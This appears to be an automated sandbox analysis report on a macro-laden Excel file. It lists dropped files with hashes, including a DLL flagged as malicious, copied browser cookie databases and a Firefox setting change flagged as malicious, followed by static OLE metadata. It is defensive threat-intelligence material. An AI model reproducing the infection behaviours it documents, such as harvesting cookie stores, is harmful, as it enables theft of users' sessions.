MD5:	182738883BFDFB548627BEC18305C7EE
SHA1:	FD5A8D41B96844985C0DC21116CFA689CED8AABE
SHA-256:	5026CA6D4A10F43342AC0AD1E7536686D1E32DE5EAA6E9478BDA11FCA1B78622
SHA-512:	9A029DF52BAE31B8E69BADECA6AD4A8DA19D12557EDFCC2A85DD0C85EBEA9090E79CAD09DC4DCF9D905D73628FA41FDD7D0A2577D4B4A716DA0A6EEA02ADF3D0
Malicious:	false
Preview:	Microsoft (R) Visual C# 2005 Compiler version 8.00.50727.5483..for Microsoft (R) Windows (R) 2005 Framework version 2.0.50727..Copyright (C) Microsoft Corporation 2001-2005. All rights reserved.....

C:\Users\user\AppData\Local\Temp\vl8o3v8u.pdb Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
File Type:	data
Category:	dropped
Size (bytes):	13868
Entropy (8bit):	0.9278645585900127
Encrypted:	false
SSDEEP:	12:9RzsQmEVsiiRzcWRzsctGXS/KtS+V+qQEVss/fZiLyRz/CW/:v29/4i7tL/Ko9s/AL27f/
MD5:	30B818E9A07498CE564A5D6BDE3BF856
SHA1:	63B505C3D0C91342E248B4C98CE36F22EBDDCC0D
SHA-256:	3C998D80B99FFD0A7C9D99050B30990172BCF280754F5C1C75FE0A745A054185
SHA-512:	E0F4CC53FA76822DD15EE62F2871B1FBD023F1774CABAAE554F6FE8312015BC9C6EACB4493A41A92FEEBAAF8D2880C53E9B1A7B392A3FB8291B02F48E2BA3399
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF1A0EFD356D103ED9.TMP Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	1.3526387710035415
Encrypted:	false
SSDEEP:	48:LyDG0mveOGkxGifqIif6Gox4if5HVz2HWZo:LyRmveaxG/I3x4v
MD5:	E138018B944F53CFC9857A855C15EDF8
SHA1:	28243EC01166A60BFE1F5E32767620C9EFF1E40A
SHA-256:	969F2DCB278A2874A7E8BC3CCE783D4B7E84F8F2C2626F0F34839B5A0332FC91
SHA-512:	E61D7ACE1616FBEF28BA52C6636CD7420E13B8ED7628A6DAAB86BB52FF19094507BFB850F6BAEE9204177AEF9CC966291EA8EADCD9698CF574E314D68877CCA9
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ........................................x.]..................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................X......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF542D6E5005877156.TMP Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39673
Entropy (8bit):	2.2989113197362263
Encrypted:	false
SSDEEP:	384:LyWvO9DVkTkq1YPYOfJS+KvPEQj2PEQjYoKEQjloLPEQja:dm5W/WBWlWa
MD5:	8426E056DD2E82A3133C289704FD4847
SHA1:	03237CAC0D61CDB4767E0BC2C8465F855272A7F2
SHA-256:	4EABF4C6B192B80C512B6738B6D6AF55D4AF3E7503E95A7BEF7246D08C71E64B
SHA-512:	3F7F5E4EE5A75220197698065730AC7803B8D6F001997F71D92AD2992A4214137B8A3AB17599172C3CEA8BA1D44C02328BEE4DCEB42F703D3658FB4B644AA3D7
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... .......................................p..b..................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................X......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF686E8EF428A6F917.TMP Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	1.3536564837165557
Encrypted:	false
SSDEEP:	48:LyaG2IveOGRErokGqIkG6GNErWkGdGbGUGqGbGuG4Go:LywIvekroyIkrWJ
MD5:	61AF5C9B57EE6D163F7C0401EC62C4F6
SHA1:	63D5F60305846866439FFF6DD90578B0468E140F
SHA-256:	10130A047E2A90FE223F64CACDE9F584DC9FFA2F736F1FE4B263CE47A07AB41F
SHA-512:	6FEFFB7A89E4164B4A9CA06027E58ABD1EB347E51E87B5102C8813BB9EB1773F6AC23F9F6F5F83426472EFABF09525328A0F749908E4EEF121035E3D66E8EF6A
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... .........................................._..................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................X......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF6C80C96287FEDF7A.TMP Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39633
Entropy (8bit):	1.6037493100092004
Encrypted:	false
SSDEEP:	192:Ly2vk9tVDq1+o+iPF9jMo7ib47iqgtg0nWdLWdStWdF:Ly2vk9tVDq1+o+29jMotp0nOrtm
MD5:	949B64F3797514895DC16B6FB80AF591
SHA1:	69D2921B0010D1A2D29578F48E12469F8CB6EC1F
SHA-256:	9907834E962245E32CDE17BFC6D619EF48AF38E1AF660E962ECD3713C338424B
SHA-512:	4D531DB28738640999CAA8849898A7882F0F64C258176F146163ED8B361AF797D5358D703C0741855F3F0E7A0F9C11063DCCE55ADC494940B54010903F96D6B4
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................A..................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................X......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF6E8E516FC48BBD04.TMP Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39673
Entropy (8bit):	1.917290370866593
Encrypted:	false
SSDEEP:	384:LyBv2R9tTVv+qB991iTm8f8TmeV/xV/+V/f:x1BkcBbun
MD5:	A7322E1DC819A9BDBD1CA63E2F399ADF
SHA1:	9718C2C3C1ADB09EB0D6CE712BD5960EAF899E94
SHA-256:	9D74B7599B44BA827DAEF65F8C473F494F782E38FBFB48B3FF3F92E0DA16CD6E
SHA-512:	87FA601135056FB5016B152E1AECC87B67DD23FBAD33BF1C3EEDA19D5B0B951D35C47D4E7D56E5146B3AB43180F0A9ADEC8BFF696346B75C810F351F275C158F
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... .......................................@e._..................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................X......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB493AFE510C14E57.TMP Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39681
Entropy (8bit):	2.194554431975201
Encrypted:	false
SSDEEP:	192:LykAvOxX9FxlVZ0vkSkDq1eLemAJ6NVd7sTiOAJ6NV47ib47iApq4k9q4keq4kP:Lyxve95VZupUq1eLemvRsdv4tl898e8P
MD5:	83C259A79FD974832312CA11709E4E17
SHA1:	990631DB7CE5377BAA6E764786B32F96C1B4136B
SHA-256:	B82CFD71291AA0A7C109D32E38E8BFCBAECF42D2756039A29A95B87D40EA7718
SHA-512:	1B42BBA1086978A34451456A21A4965540F3B7CC24F70835E432D126D6B3FCA85BB8BCC530592B945F1CDAA0FBC26568B91CEC19BBB84CBDA752627093D59374
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................]..................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................X......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFD658EE7ED4C24B16.TMP Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	1.3568928763189312
Encrypted:	false
SSDEEP:	48:Ly7G2RveOGQexGqIG6GkenG71kY1ifCBo:LynvelFISwi
MD5:	068D990DE2444228DDC63A024D61F724
SHA1:	608C2DAD27AF44ABCA2D1B18D116DB70872E3540
SHA-256:	FA4C2A004541BD47DDB8FCECCB78F9B1DD2AB149C7E74091BF31BF7CF22CD1ED
SHA-512:	2AC9F58B7DC505D27A32C35964AB59DE549B6FEF7307079E90A8E7FBA879D3962AE2168529216673EF66D5439E45513F87BFB57F90C2882138AE87777228C750
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ........................................D.a..................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................X......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFE424184E9A162E2E.TMP Download File
Process:	C:\Program Files\Internet Explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	12933
Entropy (8bit):	1.1493204596764655
Encrypted:	false
SSDEEP:	24:3NlLONlL9G8giNlIkNlIeOG8gl5iNlo82qXNlo82cNlW82x272N2JQ272y252o:Ly9GRtveOG7l5tPqIPRPwCUxCVoo
MD5:	7C975EB85C31E8DD30F0E7BA5B6A2304
SHA1:	2BF35F221D8884EA96DD15A3DDA7F4E99BF74D4B
SHA-256:	DCE1829791BA0B29DBF69AA73CD6902A8AFF6627B3885BAA74E580F79BA07ACB
SHA-512:	17D6F5D8BCEF593D1E55C021D606D58B5A1557CB0D3D88C9C5E955CC9237704BD91A6B1D3474144C8F990DD8D46BC6308A17424D9B8DAB60EDC19D16E26DF295
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ........................................OuA..................K.j.j.a.q.f.a.j.N.2.c.0.u.z.g.v.1.l.4.q.y.5.n.f.W.e...........8.......................................................X......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Tue Feb 9 18:52:42 2021, atime=Tue Feb 9 18:52:42 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.4842363255914535
Encrypted:	false
SSDEEP:	12:85QYxtCLgXg/XAlCPCHaXgzB8IB/FYX+WnicvbxbDtZ3YilMMEpxRljK2yTdJP9O:851tU/XTwz6IkYexDv3qorNru/
MD5:	41179564638E427EA03D78C6C416B320
SHA1:	E88BD5BEA8A398899E83D08FB1C44DBC065E969A
SHA-256:	8014EADD151D96C47F88E20EE07440FE8081A7EFA847C4AB659D978CBD83C87B
SHA-512:	D51C8B78E4B175B1742492A63CD81153AC8328D08B3C81A33CC6B038AA289FFD746C758E70F7AE3E7C4BDDB76A36B5590428E44B2272678108AB07E034CA0BE6
Malicious:	false
Preview:	L..................F...........7G..... ....... ..... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....IR....Desktop.d......QK.XIR....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\134349\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......134349..........D_....3N...W...9r.[........}EkD_....3N...W...9r.[.*.......}Ek....

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	120
Entropy (8bit):	3.8638393819753336
Encrypted:	false
SSDEEP:	3:oyBVomM6YFYLUmM6YFYLUmM6YFYLUmM6Yv:dj69YK9YK9YKH
MD5:	ED1083DDF385A2CF8743BA3678CCA43C
SHA1:	7220D80AEC6D656E1F6141852611661ED6478248
SHA-256:	A269F1B743DA2D49006B6000ECFA2BEE6E05DE9A4D15B7718E9524AF80610E1B
SHA-512:	074139426484FF30257A8FBF9713AB18B61935212EEB08D5CC96136D210A44ADEE4F79B344ED8BD8459FABCAC8F74B39B634834E4446256DF0B6FD7BCDBE9334
Malicious:	false
Preview:	Desktop.LNK=0..[xls]..xls.LNK=0..xls.LNK=0..[xls]..xls.LNK=0..xls.LNK=0..[xls]..xls.LNK=0..xls.LNK=0..[xls]..xls.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\xls.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Tue Feb 9 18:52:42 2021, atime=Tue Feb 9 18:52:42 2021, length=325120, window=hide
Category:	dropped
Size (bytes):	3892
Entropy (8bit):	4.481051696873396
Encrypted:	false
SSDEEP:	96:8g/XLIkIoQh2g/XLIkIoQh2g/XLIkIoQh2g/XLIkIoQ/:8CIk3QECIk3QECIk3QECIk3Q/
MD5:	517237B079A5787312595D466C93E0CE
SHA1:	462EA070B7CD64A49B28EC8A5C6B85CFFD6CE0B5
SHA-256:	A30111302AF11098365D79325DB78805A067D829C02790E8B0318E52576A1F81
SHA-512:	0141F2636A2663C131D90B5ACE63580DBFD06080BB1035A8C8FE506CDAE60348C1B0C0318809426A38143E4FF0CFAD28AA1EB3EA2A8777422BC0C4433FD50065
Malicious:	false
Preview:	L..................F.... ....I<..{..... ....... .................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1......Q.y..Desktop.d......QK.X.Q.y..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....R.2.....IR.. .xls.xls.<.......Q.y.Q.y...8.....................x.l.s...x.l.s.......q...............-...8...[............?J......C:\Users\..#...................\\134349\Users.user\Desktop\xls.xls.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.x.l.s...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......134349..........D_....3N...W...9F.C...........[D_....3N...W...9F.C...........[....L..................F.... ..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\7G92O15Q.txt Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	83
Entropy (8bit):	4.554474944622279
Encrypted:	false
SSDEEP:	3:QhsLq83CvAtKtQ25T1RdvJSG3TS+X:Qhq5CY4XjRV3TS+X
MD5:	F74C620CF9970442ECD70C67675FE005
SHA1:	8C50B6608ED9A765CA3A8B6E5766A40086AEB86F
SHA-256:	E87A2226BA763527CE9BC5A3A91515536474DA3FD6472771BB905F16EEB8CA7C
SHA-512:	AE3CA6A2D7E79E1137850B790536DACFE74E57745F2BABA8C2B99685D98AA75B9C4153F7D06A9903167901B19D962B959B59AB3D116EB57FE25E33E7ED15BC4B
Malicious:	false
Preview:	lang.en.pronpepsipirpyamvioerd.com/.1536.4126740352.30873188.1578067452.30867229.*.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies\CHB05XTO.txt Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.881776238638397
Encrypted:	false
SSDEEP:	3:XVEwXQHXutRMVXJXmmke+TW6dvX:XVE0Q3uDMVXZ9sW6dvX
MD5:	5219C9F4CD08AADC1AB37008170C92DF
SHA1:	29AD9E9CB7F8959B384BECE57BFA7A557860EFDC
SHA-256:	C997375C771ED91FA69D454E8EC05DCE3EB112C91F3E10100D969AC53FB73DDA
SHA-512:	0EA1A10DAF4CF92AD97E44136F8D00B531C40B1DA57AEDDDD16CB994B278DA5B2FAB72D8A86B3C009F95526FFC3C93D94012DE886A26FEE61B2D29D0E1813E7D
Malicious:	false
Preview:	MS-CV.bTZxclgT+Uu3HXFy.1.microsoft.com/.1024.200977920.30867355.1112250634.30867229.*.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QG8KSXKE12RR2FGVPLFR.temp Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8016
Entropy (8bit):	3.5862975795583587
Encrypted:	false
SSDEEP:	96:chQCsMqaqvsqvJCwoaz8hQCsMqaqvsEHyqvJCworIzkKYXHxf8RVlUVMIu:cyzoaz8ynHnorIzknf8RRIu
MD5:	C7D041EB44F03040EBFD4ED1B1537EA3
SHA1:	C793753F26F155620DA5FF1ACEA2C251FE8C320D
SHA-256:	9103D78112799815AE7067B5587D75D0FD764520D9DB5776A3FA30E1AD6070CD
SHA-512:	F85CAE5A781598C35B09325CBAD4D046F4BE7F0704A578460494986CDCBA458069047E5458A52BEB7CF3FAB1C69BE6E0A66A5793D49B7CEFC832FD93DDDCE7F2
Malicious:	false
Preview:	...................................FL..................F.".. .....8.D...xq.{D...xq.{D...k............................P.O. .:i.....+00.../C:\...................\.1.....{J.\. PROGRA~3..D.......:..{J.\...k.....................P.r.o.g.r.a.m.D.a.t.a.....X.1.....~J\|v. MICROS~1..@.......:..~J\|v...l.....................M.i.c.r.o.s.o.f.t.....R.1.....wJ;.. Windows.<.......:..wJ;..........................W.i.n.d.o.w.s.......1......:((..STARTM~1..j.......:...:((...................@.....S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.....~.1......Pf...Programs..f.......:...Pf....................<.....P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.......1.....xJu=..ACCESS~1..l.......:..wJr....................B.....A.c.c.e.s.s.o.r.i.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.1.....j.1......:''..WINDOW~1..R.......:.,.:''.........................W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....v.2.k....:., .WINDOW~2.LNK..Z.......:.,.:.,....=....................W.i.n.d.o.w.s.

C:\Users\user\AppData\Roaming\Microsoft\{14855AFD-63AD-6633-8D88-47FA113C6BCE} Download File
Process:	C:\Windows\explorer.exe
File Type:	HTML document, UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	2568
Entropy (8bit):	4.173063239584053
Encrypted:	false
SSDEEP:	48:kfM5S57H1hFJhhhhhhhhhQS22dZCtOMW3zL:kfM5SP22etTW3P
MD5:	A58AFFA05565410B926AC00DEF07F624
SHA1:	BAA45C6559F72E8336EC2478FE6185946E22785D
SHA-256:	D768724F197684256439DE5A4197E0F37070F53B446DDF8785080683B17FA0B9
SHA-512:	1E6E4373BECE34838C08F16D826C84D81CCE4F670E2F1FCF86D66AF9CEF3E61AEAAFC45033C63AA87B59B3B796164C0A69B625DA2C94FB721E79C54DA1082054
Malicious:	false
Preview:	09-02-2021 11:55:20 \| "<!DOCTYPE html><html theme="light" lang="en-US" prefix="og: http://ogp.me/ns#"><head><meta charset="utf-8"><title>1.1.1.1 . The free app that makes your Internet faster.</title> Early iOS detection--><script>if (/iPad" \| 1..09-02-2021 11:55:20 \| "DOCUMENT.DOCUMENTELEMENT.SETATTRIBUTE('IS-IOS', '')" \| 1..09-02-2021 11:55:20 \| "}" \| 1..09-02-2021 11:55:20 \| "</script> Google Tag Manager--><script>(function(w,d,s,l,i){w[l]=w[l]" \| 1..09-02-2021 11:55:20 \| "NEW DATE().GETTIME(),EVENT:'GTM.JS'});VAR F" \| 1..09-02-2021 11:55:20 \| "J" \| 1..09-02-2021 11:55:20 \| "'HTTPS://WWW.GOOGLETAGMANAGER.COM/GTM.JS?ID" \| 1..09-02-2021 11:55:20 \| "})(WINDOW,DOCUMENT,'SCRIPT','CFDATALAYER','GTM-PKQFGQB');" \| 1..09-02-2021 11:55:20 \| "............................................................" \| 1..09-02-2021 11:55:20 \| ".........1............1............1............1..........." \| 1..09-02-2021 11:55:20 \| "........11...........11...........11...........11..........." \| 1

C:\Users\user\AppData\Roaming\Microsoft\{2EDCE888-B575-900B-AF42-B9C45396FD38}\cookie.cr\Cookies.cr Download File
Process:	C:\Windows\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.9650411582864293
Encrypted:	false
SSDEEP:	48:T2loMLOpEO5J/KdGU1jX983Gul4kEBrvK5GYWgqRSESXh:inNww9t9wGAE
MD5:	903C35B27A5774A639A90D5332EEF8E0
SHA1:	5A8CE0B6C13D1AF00837AA6CA1AA39000D4EB7CF
SHA-256:	1159B5AE357F89C56FA23C14378FF728251E6BDE6EEA979F528DB11C4030BE74
SHA-512:	076BD35B0D59FFA7A52588332A862814DDF049EE59E27542A2DA10E7A5340758B8C8ED2DEFE78C5B5A89EE54C19A89D49D2B86B49BF5542D76C1D4A378B40277
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C..........g...N......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\{2EDCE888-B575-900B-AF42-B9C45396FD38}\cookie.ff\7xwghk55.default\cookies.sqlite.ff Download File
Process:	C:\Windows\explorer.exe
File Type:	SQLite 3.x database, user version 7, last written using SQLite version 3017000
Category:	dropped
Size (bytes):	524288
Entropy (8bit):	0.08107860342777487
Encrypted:	false
SSDEEP:	48:DO8rmWT8cl+fpNDId7r+gUEl1B6nB6UnUqc8AqwIhY5wXwwAVshT:DOUm7ii+7Ue1AQ98VVY
MD5:	1138F6578C48F43C5597EE203AFF5B27
SHA1:	9B55D0A511E7348E507D818B93F1C99986D33E7B
SHA-256:	EEEDF71E8E9A3A048022978336CA89A30E014AE481E73EF5011071462343FFBF
SHA-512:	6D6D7ECF025650D3E2358F5E2D17D1EC8D6231C7739B60A74B1D8E19D1B1966F5D88CC605463C3E26102D006E84D853E390FFED713971DC1D79EB1AB6E56585E
Malicious:	false
Preview:	SQLite format 3......@ ...........................................................................(.....}..~...}.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\prefs.js Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.5165414066556515
Encrypted:	false
SSDEEP:	3:DHXdRvKX4ALu05gsen:D3dRvKX4z05g/
MD5:	4DAA07115C67BED12909C4DFEA867BAD
SHA1:	24ED93A0A23D41448CB8CF1F72127EEFF07D242E
SHA-256:	F067EB85E0B4B3DB1C17A209B84D049551AB016098E2F6788E400298C5A4D0CA
SHA-512:	7A1910448F8FA5E33FDC26519419E66BA1365E7B2F79760836A8A48947C1CF6D769DDDA2665DCE464F9F84B4680458573889A45017C3E0E584408A6E2421EA51
Malicious:	true
Preview:	..user_pref("network.http.spdy.enabled", false);

C:\Users\user\Desktop\0FDE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Applesoft BASIC program data, first line number 16
Category:	dropped
Size (bytes):	379135
Entropy (8bit):	7.2709462020059465
Encrypted:	false
SSDEEP:	6144:zcKoSsxzNDZLDZjlbR868O8KL5L++F2xEtjPOtioVjDGUU1qfDlavx+W2QnAFVA4:ZirsYRHkwpGHTSHDpIpN
MD5:	7F178E967BF08EF150E16F74A5AC6EBE
SHA1:	EB568731A8EB899C86A01E2005497BB855F5E633
SHA-256:	D4348124FFE2DE6CEE79F1816D685A5D4215EE5D79A016FB6A3F4D4A5DF83962
SHA-512:	0B8AC8192EDAC3465F8C2685FBA7FD1FE23A58D9E5BF1AEBD3CA0B4E4249274998025C8EA1445E35119EE5744BCEC7F9B04F4085115DDBB8C319FF229B3D7C71
Malicious:	false
Preview:	........g2.........................\.p.... B.....a.........=................-.B.0...=.8.3.0.....................................=.....i..9J.8.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......>...........C.a.l.i.b.r.i.1.......?...........C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...,...8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1.......8...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...h...8...........C.a.m.b.r.i.a.1.......<...........C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......4...........C.a.l.i.b.r.i.1...................C.a.l

C:\fyjh\zglgy\lckhvmn.drhdh Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	474112
Entropy (8bit):	6.774434102096341
Encrypted:	false
SSDEEP:	6144:zQOWfcHYKeRatkAJwiClyM7CuCO8kdxZmY6icsFrrEQvOFDvXOcY5EpCDSqh3l:ifcHby4kAeiCp86xIYnXOFDOEpbqH
MD5:	BA2BEFA9C70C2B6D779C48A59CECE3E5
SHA1:	4C855F80076E357D35C7D60CD52D2C49ABEFC5FF
SHA-256:	9C51CBE4681FACC34623AECA27A18DBAA6DB1337990A0E003B7C9BABEB06C1EB
SHA-512:	BDC4E33DE9DE4CF27D1DF05E22163C6A3EF0D2406D80CB51DB34139BF08CC3A923B079686FBC0A1B359EE46447EB0583C3343360D7E755179E9661C4A503047E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................L.............@.............................................................................("...`..........................he..................................................................................CODE.....~.......................... ..`DATA....<...........................@...BSS......................................idata..(".......$..................@....reloc..he.......f..................@..P.rsrc........`......."..............@..P.....................<..............@..P........................................................................................................................................................................................................................

Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Feb 8 16:33:38 2021, Security: 0
Entropy (8bit):	7.595021902791101
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	xls.xls
File size:	325120
MD5:	0e6d3ca70f81e25baf88e5a2bb5cde7e
SHA1:	830932f1ec44148a6327f08d95b2ebaa4694d2ad
SHA256:	b2701be6d7b593433a48955c5613953470e2c807a87fa18eb33334da66dd41b0
SHA512:	fb63fba6cbafb8092b6fb70a9a9d05ffdabf61f13b48d99ec888b513cb2d483246aec99624581157522da5a8aac725dcf30e2285a92332b6967dae972a1a154c
SSDEEP:	6144:hcKoSsxzNDZLDZjlbR868O8KlVH3tFq7uDphYHceXVhca+fMHLty/xcl8OR4PiAZ:62r8QRfM4RmnT6HzpQ5
File Content Preview:	........................>.......................y...........................t...u...v...w...x..................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "xls.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2021-02-08 16:33:38
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	917504

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
